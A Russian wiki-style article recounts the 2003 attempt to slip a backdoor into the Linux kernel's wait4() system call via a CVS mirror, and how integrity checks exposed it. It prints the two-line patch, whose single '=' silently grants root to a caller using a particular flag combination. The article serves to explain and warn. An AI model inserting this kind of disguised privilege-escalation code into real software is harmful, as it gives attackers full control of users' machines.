wait4() — нашумевшая и весьма профессиональная попытка добавить в код ОС Linux «черный ход» предпринятая в 2003 году. Дыра была выявлена до того как кто-либо смог ею воспользоваться. Это произошло потому, что код Linux'а открыт, и за ним следит множество специалистов-энтузиастов. В проприеритарной корпорации подобный фокус легко может пройти незамеченным.

Суть дырыПравить

Обнаруженная дыра представляет собой две строчки кода, тщательно замаскированные под невинный контроль ошибок, добавленный к функции системного вызова wait4(). Эта функция доступна любой программе, работающей на компьютере, и, грубо говоря, дает операционной системе указание сделать паузу в исполнении данной программы, пока другая программа не завершит работу. На первый взгляд казалось, что добавка к коду просто проверяет, не использует ли программа, вызывающая wait4(), некую недопустимую комбинацию двух флагов и не запущена ли она пользователем с максимальными привилегиями (root). Если оба условия выполняются, то вызов прерывается. Вот этот код:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

При внимательном рассмотрении выяснилось, что код вовсе не проверяет, является ли пользователь всемогущим root. Если обнаруживается нужное сочетание флагов, то вызвавший его процесс получает максимальные привилегии и моментально превращает wait4() в «черный ход». Другими словами, человек, знающий нужное сочетание флагов и место, где их следует установить, получает полный контроль над любой Linux-машиной. И вся эта гигантская разница — между тем, как код выглядит и что он в действительности делает, — заключена всего лишь в одном знаке на языке Си (двойной знак равенства, как в первом случае, означает проверку условия; одинарный — оператор присваивания). Если бы этот нюанс обнаружили при обычных обстоятельствах, то наверняка сочли бы за элементарную ошибку программиста.

История обнаруженияПравить

Патч был выявлен при весьма подозрительных обстоятельствах. Сервера для коллективной разработки ядра Linux предоставляла софтверная компания из Сан-Франциско BitMover. Ее основатель Ларри Маквой (Larry McVoy) одновременно является и главным архитектором системы распределённой разработки BitKeeper, управлявшей исходными кодами Linux в 2002-2005 годах. По его словам, система «параноидально озабочена» целостностью разрабатываемых кодов и осуществляет обновления только в автоматическом режиме, с тщательной проверкой цифровых подписей. Именно благодаря этому попытка «по-тихому» обновить две строчки кода вручную в CVS-зеркале была немедленно засечена. Сам Маквой поначалу не увидел в коде ничего подозрительного, но на всякий случай отменил изменения, предупредил сообщество программистов и посоветовал обновиться. Тогда и выявился истинный смысл «ошибки», порождающей «троянского коня». По всей видимости, злоумышленник не успел воспользоваться закладкой. Даже если бы патч не заметили, изменения не копировались из CVS в BitKeeper, и он не вошёл бы в официальный релиз и версии в большинстве дистрибутивов, но опасность для получающих экспериментальные версии ядра из CVS существовала.

После тщательного анализа стало очевидно, что создавшие этот код люди прекрасно знают, что делают. Они отыскали именно такие флаги, которые по отдельности не вызывают ошибок, но при этом не используются совместно. По мнению экспертов, это мог сделать только человек, прекрасно разбирающийся в UNIX и нюансах работы ядра Linux. Автор дыры так и не был установлен.

ИсточникПравить